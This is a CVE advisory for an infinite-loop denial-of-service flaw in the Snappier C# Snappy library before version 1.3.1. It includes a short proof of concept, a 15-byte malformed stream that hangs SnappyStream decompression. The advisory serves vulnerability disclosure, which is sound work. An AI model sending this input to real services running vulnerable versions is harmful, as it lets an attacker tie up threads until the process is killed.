Snappier: Infinite loop in SnappyStream decompression on malformed framed input

Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.

Problem type

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Affected products

brantburnett

Snappier

< 1.3.1 - AFFECTED

References

https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx

https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx

x_refsource_CONFIRM

GitHub Security Advisories

GHSA-pggp-6c3x-2xmx

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

https://github.com/advisories/GHSA-pggp-6c3x-2xmx

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

github.com

https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx

nvd.nist.gov

https://nvd.nist.gov/vuln/detail/CVE-2026-44302

github.com

https://github.com/advisories/GHSA-pggp-6c3x-2xmx

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-44302

Click to expand

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    "dateUpdated": "2026-05-12T21:33:07.206Z",
    "dateReserved": "2026-05-05T17:39:31.113Z",
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          "value": "Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1."
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